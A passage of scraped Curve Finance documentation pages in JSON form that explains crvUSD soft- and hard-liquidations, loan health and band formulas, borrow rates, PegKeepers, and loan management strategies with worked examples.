other DeFi loans. There are Soft-liquidations (including de-liquidations) and Hard-liquidations. This page defines them and shows examples. Soft-Liquidation When the position enters Soft-liquidation it's a warning. The system will try to protect user loans by converting the original collateral to the borrowed asset as prices decrease, and back to the original collateral as prices increase. Hard Liquidation does not happen at the bottom of the soft-liquidation range . Hard-liquidation can only occur when the health goes below 0 . If the health is negative anyone can pay off the debt and claim the collateral backing the loan, this should always be profitable, but in rare circumstances it may not be, if this happens it's called bad debt . In Soft-liquidation and de-liquidation, collateral will slowly be lost to fees from swapping back and forth as prices move higher and lower, this is how health deteriorates over time. Health can deteriorate very quickly when volatility is high . More information on health can be found here . The soft-liquidation applet also simulates how Collateral is converted through the soft-liquidation range. Hard-Liquidation Soft-liquidation turns into Hard-liquidation when health is 0% . In Hard-liquidation the borrower keeps their borrowed assets (normally crvUSD) but loses their collateral, the process is detailed here . Hard-liquidation does not trigger at the bottom of the Soft-liquidation range, it only relies on health . A user can have all their collateral fully converted to their borrowed asset and be below the Soft-liquidation range if they manage their health carefully. Health can be increased in soft-liquidation by repaying some or all debt. Hard-Liquidation Example Hard-liquidation can only occur when the health of a loan is 0% or below . If the health is 0% or below anyone can pay off the debt and claim the collateral backing the loan, this should always be profitable, but in rare circumstances it may not be, if this happens it's called bad debt . The example below shows a loan in the CRV/crvUSD lending market which was hard-liquidated. The chart is interactive, by hovering over prices, you can see how the health of the loan decreases over time. See that hard-liquidation only relies on health. The bottom of the soft-liquidation range is not where hard-liquidation happens. Hard-liquidation - Borrowing crvUSD using CRV It is always better to self-liquidate a loan before a loan is hard-liquidated . This is because the health calculation values your collateral lower than its actual worth. In this example, the borrower would have gotten back 11,107 crvUSD more if they had self-liquidated their loan instead of letting it be hard-liquidated. Managing Health & Self-Liquidation Example The below example shows how to manage health and how self-liquidation works, this shows a loan in the WETH/crvUSD lending market. When the user got into soft-liquidation they decided to repay around 10% of their debt, this increased their health from approx. 3% to 13%, but kept their soft-liquidation range the same. They then stayed in soft-liquidation for a long time, so they self-liquidated. If some debt is repaid while in soft-liquidation the range will stay the same but health will increase , if debt is repaid outside the soft-liquidation range, the range will move lower. Self-liquidating here was a good idea, this is because they already had 38,857 crvUSD as collateral (from swapped WETH in soft-liquidation), and their debt was 98,299 crvUSD, they only had to send 59,442 crvUSD and they received back their 24.3371 WETH. If they chose to repay they would have had to repay all 98,299 crvUSD of debt, and received all collateral back (38,857 crvUSD and 24.3371 WETH) in return. Self-liquidation - Borrowing crvUSD using WETH Soft-liquidation Applet This applet simulates how collateral is converted through a soft-liquidation range. Soft-liquidation Collateral Conversion Collateral Amount (ETH): Bottom of SL Range: Top of SL Range: Back to top", "labels": ["Documentation"]}, {"title": "Loan Concepts In Depth", "html_url": "https://resources.curve.fi/crvusd/loan-concepts/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth Loan Concepts In Depth Table of contents Market Parameters LLAMMA and Liquidations Hard Liquidations Bad Debt Bands (N) Band Formulae: Band Calculator Loan Health Health Calculator Loan Discount Borrow Rate PegKeeper crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Market Parameters LLAMMA and Liquidations Hard Liquidations Bad Debt Bands (N) Band Formulae: Band Calculator Loan Health Health Calculator Loan Discount Borrow Rate PegKeeper Home Curve Stablecoin (crvUSD) Loan Concepts In Depth Market Parameters Each crvUSD market has the following parameters which affect all loans and change automatically due to market forces: Base Price: The base price is the upper price limit of band number 0. Borrow rate increases the base price over time. Oracle Price: The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health . Borrow Rate: The borrow rate is the annual interest rate charged on the loan. This rate is variable and can change based on market conditions. The borrow rate is expressed as a percentage. For example, a borrow rate of 7.62% means that the user will be charged 7.62% interest on the loan's outstanding debt. See here for how it's calculated. Each market also has the following parameters which only change if the CurveDAO votes them to change: A: The amplification parameter A is used to calculate the density of liquidity and band width, as well as the maximum LTV of a market. Loan Discount: The loan discount defines how much the collateral is discounted when taking a loan, it is directly related to the maximum LTV of each crvUSD market. See here for more information. Liquidation Discount: The liquidation discount is used to discount the collateral when calculating the health of the loan. See the health section for more information. Sigma: Sigma changes how quickly rates increase and decrease when crvUSD depegs. With a higher sigma interest rates will increase slower when crvUSD depegs. See here for more information. LLAMMA and Liquidations LLAMMA ( Lending-Liquidating AMM Algorithm ) is a fully functional two-token AMM containing the collateral token and crvUSD, which is responsible for the liquidation mechanism . For more detailed documentation, please refer to the technical docs . When creating a new loan, the put-up collateral will be deposited into a specified number of bands across the AMM . Unlike regular liquidation, which has a single liquidation price, LLAMMA has multiple liquidation ranges (represented by the bands) and continuously liquidates the collateral if needed . All bands have lower and upper price limits, each representing a \"small liquidation range.\" The user's total liquidation range is represented by the upper price of the highest band to the lower price of the lowest band. A loan only enters soft-liquidation mode once the price of the collateral asset is within a band . If the price is outside the bands, there is no need to partially liquidate and therefore not in soft-liquidation. The AMM works in a way that the collateral price within the AMM and the \"regular price\" are treated a bit differently. If the price falls into a band, prices are adjusted in a way that external arbitrageurs are incentivized to sell the collateral token and buy crvUSD in the band. So, if the price is within a band, the user's collateral will be sold for crvUSD , meaning the user's collateral is now a combination of both tokens. This happens for each individual band the user has liquidity deposited into. This liquidation process does not only happen when prices fall but also when they rise again . If the collateral in a band has been fully converted into crvUSD and the collateral price rises again, the earlier sold-off collateral will be bought up again. In short: External traders will soft-liquidate a users collateral when the collateral token's price is falling and de-liquidate it again when prices rise again. Losses in Soft-Liquidation Positions in soft-liquidation / de-liquidation are suffering losses due to the selling and buying of collateral. If the position is not in soft-liquidation, no losses occur. These losses decrease the health of the loan. Once a user's health is at 0%, the user's position may face a hard-liquidation, which closes the loan. Hard Liquidations Hard liquidations occur when the health of a loan falls below 0%, allowing a liquidator to liquidate the loan. Anyone can act as a liquidator and liquidate eligible loans, but this is typically done by searchers. When a liquidator initiates the process, the following occurs within a single transaction, using a market with WETH collateral and crvUSD debt as an example: Any collateral which has been swapped to crvUSD in soft liquidation is transferred to Curve and removed from the user. The remaining crvUSD debt is repaid to Curve by the liquidator. The liquidator receives the remaining WETH collateral as a reward, which is normally more than the amount repaid. This process is illustrated in the image below: Bad Debt Bad debt occurs when a loan is not profitable to liquidate . This could happen for many reasons, including gas prices being higher than the profit from a liquidation, a sequencer being down on an L2, or simply no one searching for profitable liquidations in a new market. It looks like the following: In this example no rational liquidator will begin the liquidation process because they will lose value by doing so. crvUSD is only minted on Ethereum and uses high-quality assets with strong liquidity to mitigate the risk of bad debt. Due to these precautions, bad debt is not expected to occur within the crvUSD minting system . However, bad debt can and has occurred within specific Curve Lending markets, as they are permissionless and do not affect the integrity of the crvUSD stablecoin. Bands (N) When creating a loan, the added collateral is spread among the number of bands selected. Minimum amount is 4 bands, and the maximum amount is 50 bands. A band essentially is a price range, with an upper and lower price limit . If the price of the collateral is within the limits of a band, that particular band is likely to be liquidated. Note that band price ranges drift higher over time as base price increases by the borrow rate In the illustration above, there are multiple bands with different price ranges. The light grey areas represent the collateral token, which in this example is ETH. As depicted, the bands below the collateral token's price are entirely in ETH since there is no need for liquidation, given the higher price. The dark grey areas represent crvUSD. Because the price of ETH fell within the band on the far right, the deposited collateral (ETH) is converted into crvUSD. In this instance, the band consists of both ETH and crvUSD. If the price continues to decline, all collateral in the band will be fully converted into crvUSD, and the band to the left will undergo soft-liquidation. Remember: When prices rise again, the opposite is happening. The ETH which was converted into crvUSD earlier will be converted back into ETH again. A band which has fully been soft-liquidated. All collateral was converted into crvUSD because the price of the collateral is below the liquidation range. A band which currently is in soft-liquidation. It contains both, the collateral token and crvUSD. A band which has not been liquidated yet (composition is 100% collateral token). The price of the collateral is above the liquidation range. Band Formulae: A controls the density of the liquidity. This is directly related to the width of the bands. Band width at any price can be estimated to be: \\[\\text{bandwidth} \\approx \\frac{\\text{price}}{\\text{A}}\\] To find the exact upper price limit and lower price limits of the bands the following formulae can be used: \\[\\begin{aligned} \\text{upperLimit} &= \\text{basePrice} * \\left( \\frac{A-1}{A} \\right)^{n} \\\\ \\text{lowerLimit} &= \\text{basePrice} * \\left( \\frac{A-1}{A} \\right)^{n+1}\\end{aligned}\\] Where: \\(\\text{basePrice}\\) : The current base price of the desired market \\(A\\) : The amplification factor of the desired market (default is 100) \\(n\\) : The Band Number, e.g., \\(-\\) 67. Band Calculator Use the calculator below to simulate how bands are shaped and how liquidity density changes with different parameters. By definition the liquidity density will be 100% at band 1. Liquidity density increases as band width decreases, because the same amount of collateral will be spread over a smaller price range. Inputs: A : N : Base Price ($): Loan Health Based on a user's collateral and debt amount, the UI will display a health score and status. If the position is in soft-liquidation mode, an additional warning will be displayed. Once a loan reaches 0% health , the loan is eligible to be hard-liquidated . In a hard-liquidation, someone else can pay off a user's debt and, in exchange, receive their collateral. The loan will then be closed. The health of a loan decreases when the loan is in soft-liquidation mode. These losses do not only occur when prices go down but also when the collateral price rises again, resulting in the de-liquidation of the user's loan. This implies that the health of a loan can decrease even though the collateral value of the position increases. If a loan is not in soft-liquidation mode, then no losses occur. Losses are hard to quantify. There is no general rule on how big the losses are as they are dependent on various external factors such as how fast the collateral price falls or rises or how efficient the arbitrage is. But what can be said is that the losses heavily depend on the number of bands used; the more bands used, the fewer the losses. Daily losses based on current data are shown here . The formula for health is below, this is visualized in the Health Calculator applet as well. \\[\\begin{aligned} \\text{health} &= \\frac{s \\times (1-\\text{liqDiscount}) + p}{\\text{debt}} - 1 \\\\ p &= \\text{collateral} \\times \\text{priceAboveBands} \\end{aligned}\\] Where: \\(\\text{collateralValue}\\) : the value of all collateral at the current LLAMMA prices \\(\\text{liqDiscount}\\) : the liquidation discount for the market (how much to discount the collateral value for safety during hard-liquidation). \\(\\text{debt}\\) : the debt of the user \\(s\\) : an estimation of how much crvUSD a user would have after converting all collateral through their bands in soft-liquidation. This can be very roughly estimated as: \\(\\text{collateral} \\times \\left( \\frac{\\text{softLiqUpperLimit} - \\text{softLiqLowerLimit}}{2} \\right)\\) \\(p\\) : The value above the soft-liquidation bands. Found by multiplying the amount of collateral by how far above soft-liquidation the current price is. If user is in or below soft-liquidation, this value is 0. \\(\\text{collateral}\\) - The amount of collateral a user has, e.g., if a user has 5 wBTC, this value is 5. \\(\\text{priceAboveBands}\\) - The price difference between the oracle price and the top of the user's soft-liquidation range (upper limit of top band). This value is 0 if user is in soft-liquidation. See applet below for a visual representation. \\(\\text{collateralPrice}\\) - The price of a single unit of the collateral asset, e.g., if the collateral asset is wBTC, this value is the price of 1 wBTC. Health Calculator Use the applet below to simulate how health works, soft-liquidation losses are given as numbers in a comma separated list, the first number is the starting band onwards. The light blue shaded areas in the bands represent the value without using the soft-liquidation discounts, while the dark blue areas are the values after discounting. Inputs: A: Starting Band: Oracle Price ($): Collateral Amount: Debt ($): Base Price ($): Finish Band: Liquidation Discount %: Soft Liquidation Losses (%): Health (including value above bands): Health (not including value above bands): The Curve UI will either show health adding value above bands or without that value based on how close to liquidation a user is. If the active band (Oracle price band) is 3 or less bands away from the user's soft liquidation bands, the UI will show the health not including value above bands. Otherwise it will show the health including the value above bands. The health values on the Curve UI and within smart contracts will always be slightly less than the values here. Health is calculated by estimating the amount of crvUSD/debt tokens the collateral will be swapped for in each band. This takes into account how much liquidity is in each band, the more liquidity in a band the less slippage Curve estimates will occur. This slippage estimation slightly reduces a user's health. Loan Discount The loan_discount is used for finding the maximum LTV a user can have in a market. At the time of writing in crvUSD markets this value is a constant 9%, in Curve Lending markets this value ranges from 7% for WETH to 33% for volatile assets like UwU. Use the calculator below to see the maximum LTVs a user can have based on the loan_discount , and amplification factor A (with 4 bands, N=4). The formula is: \\[\\text{maxLTV} = \\left(\\frac{A - 1}{A}\\right)^2 \\times (1 - \\text{loan_discount})\\] Maximum LTV Calculator Inputs: A: Loan Discount % : Result Maximum LTV: Borrow Rate The general idea is that borrow rate increases when crvUSD goes down in value and decreases when crvUSD goes up in value . Also, contracts called PegKeepers can also affect the interest rate and crvUSD peg by minting and selling crvUSD or buying and burning crvUSD. The formula for the borrow rate is as follows: \\[\\begin{aligned}r &= \\text{rate0} * e^{\\text{power}} \\\\ \\text{power} &= \\frac{\\text{price}_\\text{peg} - {\\text{price}_\\text{crvUSD}}}{\\text{sigma}} - \\frac{\\text{DebtFraction}}{\\text{TargetFraction}} \\\\ \\text{DebtFraction} &= \\frac{\\text{PegKeeperDebt}}{\\text{TotalDebt}}\\end{aligned}\\] with: \\(r\\) : The interest rate. \\(\\text{rate0}\\) : The rate when PegKeepers have no debt and the price of crvUSD is exactly 1.00. \\(\\text{price}_\\text{peg}\\) : Desired crvUSD price: 1.00 \\(\\text{price}_\\text{crvUSD}\\) : Current crvUSD price. \\(\\text{sigma}\\) : variable which can be configured by the DAO, lower value makes the interest rates increase and decrease faster as crvUSD loses and gains value respectively. \\(\\text{DebtFraction}\\) : Ratio of the PegKeeper's debt to the total outstanding debt. \\(\\text{TargetFraction}\\) : Target fraction. \\(\\text{PegKeeperDebt}\\) : The sum of debt of all PegKeepers. \\(\\text{TotalDebt}\\) : Total crvUSD debt across all markets. A tool to experiment with the interest rate model is available here . PegKeeper A PegKeeper is a contract that helps stabilize the crvUSD price. PegKeepers are deployed for special Curve pools, a list of which can be found here . PegKeepers take certain actions based on the price of crvUSD within the pools. All these actions are fully permissionless and callable by any user. When the price of crvUSD in a pool is above 1.00, they are allowed to take on debt by minting un-collateralized crvUSD and depositing it into specific Curve pools. This increases the balance of crvUSD in the pool, which consequently decreases its price. If a PegKeeper has taken on debt by depositing crvUSD into a pool, it is able to withdraw those deposited crvUSD from the pool again. This can be done when the price is below 1.00. By withdrawing crvUSD, its token balance will decrease and the price within the pool increases. More on PegKeepers here Back to top", "labels": ["Documentation"]}, {"title": "Loan Creation & Management", "html_url": "https://resources.curve.fi/crvusd/loan-creation/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Loan Creation & Management Table of contents Loan Creation Loan Management Loan Details Advanced Loan Creation & Management Leveraged Loans Deleveraging Loans Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Loan Creation Loan Management Loan Details Advanced Loan Creation & Management Leveraged Loans Deleveraging Loans Home Curve Stablecoin (crvUSD) Loan Creation & Management Loan Creation In standard mode, creating a loan with crvUSD involves specifying a certain amount of a collateral asset and determining the quantity of crvUSD to borrow. After the collateral amount is set, the interface displays the maximum amount of crvUSD that can be borrowed, along with the health and borrow rate of the loan. The user interface (UI) features a dropdown menu for viewing additional loan parameters, such as the current Oracle Price and Borrow Rate . Loan Management Everything needed to manage a loan is available in this interface. The features include: Loan This tab provides options to Borrow more crvUSD, Repay debt, or Self-liquidate a loan Collateral Options to add or remove collateral from a loan are available here. Deleverage This tab facilitates loan deleveraging. Find more details here . Loan Details The Your Loan Details tab shows all the information about your personal loan: When a user creates a loan, their collateral is allocated across a number of bands (liquidation range) . Should the asset price fall within this range, the loan will enter soft-liquidation mode. In this state, the user is not allowed to add additional collateral. The only recourse is to either repay with crvUSD or to self-liquidate the loan. When a position was or is in soft-liquidation mode, losses occur. The UI displays these losses in 3 ways: LOSS AMOUNT is how much you've lost in soft-liquidation in collateral format, e.g. 0.001 ETH. % LOST is percentage of deposited collateral you've lost in soft liquidation. COLLATERAL CURRENT BALANCE (EST.) / DEPOSITED shows your current collateral minus any losses compared to the amount deposited. The LLAMMA BALANCES section shows the breakdown of your current loan collateral. For example, in the above picture there is 0.01 ETH and 0 crvUSD. If the user was in soft-liquidation some of the collateral would be swapped to crvUSD to protect from further price decreases, and this would reduce the current ETH balance and increase the crvUSD balance. Soft-Liquidation Mode During soft-liquidation , users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. If their health declines to 0, they are hard-liquidated and lose their collateral but keep their debt. Advanced Loan Creation & Management In the upper right-hand side of the screen, there is a toggle button for advanced mode. In advanced mode the UI shows more information about the Collateral Bands for your personal loan: Advanced mode also adds a tab with info about the LLAMMA Bands for all loans together: It also expands the loan creation interface by displaying the liquidation and band range , number of bands , borrow rate , and Loan to Value ratio (LTV) . Additionally, users can manually select the number of bands for the loan by pressing the adjust button and using the slider to increase or decrease the number of bands. Tip A higher number of bands generally results in fewer losses when the loan is in soft-liquidation mode, see here . The maximum number of bands is 50, while the minimum is 4. Leveraged Loans The UI offers a leveraging feature for loans, accessible by navigating to the Leverage tab. More information on how to deleverage a loan here . Leverage Collateral can be leveraged up to 9x , depending on the number of bands chosen. If a user wants to use the maximum leverage (9x), they loan will have the minimum number of bands (4). Using the highest number of bands (50) only allows for a leverage of up to 3x. For the consequences of using different numbers of bands, see here . The process of leveraging effectively involves repeat trading of crvUSD for collateral and depositing it to maximize the collateral position . Essentially, all borrowed crvUSD is utilized to acquire more collateral. Warning Caution is advised, as a dip in the collateral price would necessitate repaying the entire amount to reclaim the initial position. A good explainer how leveraging works Toggling the advanced mode expands the display to show additional information about the loan, including the price impact, trade route and the actual leverage. Deleveraging Loans Deleveraging a loan irrespective of it being leveraged is an option available through the UI. Users must navigate to the Deleverage tab and input the amount of collateral they intend to allocate for deleveraging. This particular collateral is then converted into crvUSD, which is used to facilitate debt repayment. Info When a user's loan is in soft-liquidation, deleveraging is only possible if the loan is fully repaid. Apart from that, the loan can typically be self-liquidated. If the position is not in soft-liquidation, the user can deliberately deleverage by any chosen amount. The UI will provide the user with their updated loan details, such as liquidation and band range, borrow rate, and health, as well as the LLAMMA changes of collateral and debt. Back to top", "labels": ["Documentation"]}, {"title": "Loan Strategies & Management", "html_url": "https://resources.curve.fi/crvusd/loan-strategies/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Strategies Table of contents Soft Liquidation Losses Managing Loan Health Loan Examples Careful and Passive Loan Example Careful and Active Loan Example High Risk and Active Loan Example High Risk and Passive Loan Example (Hard-liquidation) Under Soft-Liquidation Loan Example Strategies Borrowing to Lending Rate Arbitrage Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Soft Liquidation Losses Managing Loan Health Loan Examples Careful and Passive Loan Example Careful and Active Loan Example High Risk and Active Loan Example High Risk and Passive Loan Example (Hard-liquidation) Under Soft-Liquidation Loan Example Strategies Borrowing to Lending Rate Arbitrage Home Curve Stablecoin (crvUSD) Loan Strategies & Management Before taking a crvUSD loan a user should consider two factors that will influence how they structure their loan: How much risk they would like to take? What management style will they employ? Will they be actively managing their loan i.e., adding, removing collateral and repaying debt. Or will they be passively taking a loan and leaving it in LLAMMA's hands? Risk and Management styles can be thought of as spectrums, and they can be visualized in the image below. The above image shows 4 main quadrants: High risk and Passive : This is a dangerous strategy, users employing this strategy typically max borrow and make very little changes to the loan until they close or are hard-liquidated. Some users are lucky and do well, but many are hard-liquidated. Use at your own risk. High risk and Active : Users with these loans are borrowing close to the maximum allowed, and actively adding and removing collateral, and debt as required to keep a loan healthy. Careful and Passive : These loans are typically at low LTV ratios so their soft-liquidation ranges are far below the current price. These loans generally don't need much management and users may only alter their loans after significant price changes. Careful and Active : Users borrow at low LTV ratios but actively manage the loans by adding and removing capital and debt as required to keep away from soft-liquidation. Example loans for each of the 4 quadrants are given in the loan example section here . The section directly below shows soft-liquidation losses based on user data, so prospective users can estimate losses. Actively managing loans is gas intensive Actively managing loans is expensive when factoring in gas usage, loan size needs to be sufficient to offset this expense. As a general rule allow \\(\\text{USD} \\approx \\text{gasPrice} \\times 4\\) to add collateral or repay debt, e.g. if gasPrice is 10 gWei allow $40 to add collateral or repay debt. Soft Liquidation Losses The data from all crvUSD loans so far has shown that for each band range a user can expect the following losses in the table below. Loss amount doesn't seem to be affected by the collateral asset used (i.e., losses from wBTC seem to be the very similar as wstETH). The band range was the biggest factor in how a user performed. The histogram and table below show soft-liquidation losses are generally very low , but keep in mind that high volatility periods can cause double digit losses. Note: you can show and hide any band ranges by clicking on them in the legend . Use percent of data for y axis Use days of data (time) for y axis band range days of soft liq data min loss/day median loss/day mean loss/day std loss/day max loss/day 4-9 4601.17 0% 0.0927% 0.93% 2.18% 38.93% 10-19 2248.19 0% 0.0331% 0.62% 1.98% 43.06% 20-35 124.92 0% 0.0127% 0.20% 0.54% 6.41% 36-50 114.99 0% 0.0004% 0.11% 0.30% 3.98% Using more bands ( \\(\\uparrow\\) N) reduce your soft-liquidation loss per day but increase the time in soft-liquidation, while also reducing the total amount a user can borrow . It is up to the user to choose a comfortable number of bands which allows them to borrow their required amount. The above results are from the notebook here Managing Loan Health Loan health is a direct measure of the risk of a loan . The lower the loan health, the riskier the loan. To keep from being hard-liquidated, a loan must have a health above 0. There are 2 factors which influence the health of a loan: LTV (Loan-To-Value ratio) - More collateral and less debt increases the health of the loan Increasing the a distance as shown on the figure here . This can be done in 2 ways: reducing the number of bands, reducing the amount borrowed. There are 2 ways of increasing the health of a loan: Repaying debt Adding collateral However if a loan is in soft-liquidation collateral cannot be added, debt must be repaid to increase the health. Loan Examples All the charts provided in this section are interactive. Click on different items in the legend to show/hide that plot. Here's a list of the plots that can be shown/hidden and their meaning: Value (Left Axis) plots : These plots only relate to the left axis, the percentage axis has no meaning for them . Oracle Price : The oracle price for 1 unit of the chosen deposited collateral asset (e.g., 1 wBTC, 1 wstETH, etc) Soft-Liquidation Price Range : This is the soft-liquidation price range of the user. This can also be thought of as all the small band ranges together. This drifts higher over time with the Interest Rate . CV in : The collateral value in the deposited asset (e.g., wstETH, wBTC, etc). CV in crvUSD : The value of the crvUSD held as collateral. is swapped to crvUSD through the soft-liquidation process to protect from further declines in price. Total CV : Total Collateral Value. CV in plus CV in crvUSD . Debt Value : The total amount of debt owed (this includes interest) AAVE/Spark Liq Price : The price at which this loan would be liquidated in AAVE/Spark. When the Oracle Price is lower than this price, the loan would be liquidated/not possible. Percentage (Right Axis) plots : These plots only relate to the right axis, the value axis has no meaning for them LTV : The loan to value ratio, this is the Debt Value divided by the Total CV . Health : The health factor of the loan, a loan is Hard-liquidated when this gets to 0, see here for more info. % CV in : The percentage of Total CV currently in the deposited collateral asset (e.g., wstETH, wBTC, etc). This is CV in divided by Total CV . % CV in crvUSD : The percentage of Total CV currently swapped to crvUSD. This is CV in crvUSD divided by Total CV . % SL Collateral Loss : The percentage of collateral lost to soft-liquidation. See here for more information. % Interest Collateral Loss : The collateral loss due to interest accruing on the debt. This amount is included in the Debt Value plot. % Total Collateral Loss : % SL Collateral Loss plus % Interest Collateral Loss . % Max Deposited Collateral : This is the percentage of the current deposited collateral vs. the maximum that will get deposited over the life of the loan. This is shown as a percentage so it can be represented along side other plots. This is just to show the magnitude and timing of deposits/withdrawals, not exact amounts. An example would be if there were 20 wstETH deposited at the beginning, but the user deposits another 5 (total 25 wstETH) at another point without withdrawing any, this value will be start at \\(20/25=80\\%\\) . Interest Rate : The current borrow interest rate for the market. Careful and Passive Loan Example This user deposited 188 wBTC as collateral. They borrowed 1.05 million crvUSD . They were very careful and only borrowed with a 21% LTV . They used N=10 . As you can see from above the user remained passive as they were far from soft-liquidation at all times. They only fee they incurred was from the borrow interest rate increasing their debt, but luckily wBTC price went up fast enough to offset that. Throughout the approx. 100 day duration of the loan they increased their loan to 1.27 million crvUSD but their LTV actually went down as wBTC price went up ~30%. This is a good strategy for loans less than 10,000 crvUSD as gas costs for managing the loan are minimal. Careful and Active Loan Example This loan was opened with N=50 , 93 sfrxETH collateral , 105500 crvUSD debt . This was a LTV of 67% . This user starts with 105k crvUSD debt, but slowly over time adds collateral and borrows more debt. Ending with 219 sfrxETH collateral and 298k crvUSD debt. They actively managed to stay out of soft-liquidation, and spend 0.56 ETH of fees on 32 transactions over this 2 month period. The only fees they incurred were from borrowing interest and Ethereum transactions fees. This loan LTV is possible in other systems, but soft-liquidations aren't. Soft-liquidations reassure the user that they are protected from sudden price drops . High Risk and Active Loan Example This user opened their loan using N=4 , deposited 20 wstETH , and borrowed 32600 crvUSD . This equated to an 85% LTV . The user with the loan pictured above is tracked over a period of ~102 days, during which they actively managed their loan to maintain an LTV around 85%. By taking a crvUSD loan, the user locked in 85% of the value of wstETH instantly while still benefiting from price increases on wstETH. This loan would not have been possible on other platforms due to the LTV of the wstETH collateral. The user fell into soft-liquidation around the 15-day mark and experienced health erosion, the user repaid 10% of their debt on the 18 th day, restoring their health. As the price of wstETH rose around the 70-day mark, the user decided to borrow more, changing their soft-liquidation range. They quickly repaid the newly added debt after falling into soft-liquidation in this higher range. Around the 85 th day, the user chose to add more collateral and increased their debt. Throughout this period, the user seemed comfortable in soft-liquidation, only losing ~22% of their collateral from soft-liquidation and borrowing interest. Their collateral was fully swapped to crvUSD multiple times, protecting them from further price declines. LLAMMA saved the user from hard-liquidation that would have occurred in any other system, which can be seen by making the AAVE/Spark Liquidation Price plot visible. Even after reducing the LTV on the 18 th day, the user would have been liquidated on other platforms by the two wicks below $1767 on the 25 th and 55 th days, preventing them from recouping value during the subsequent price appreciation. This loan shows that actively managing high risk loans can result in outcomes not possible in any other system . High Risk and Passive Loan Example (Hard-liquidation) This loan was opened with N=4 , 5.95 wstETH collateral , 10500 crvUSD debt . This was a LTV (Loan-To-Value) of 84% . The user almost max borrowed. Putting their liquidation range very close to the current price. They stayed above their 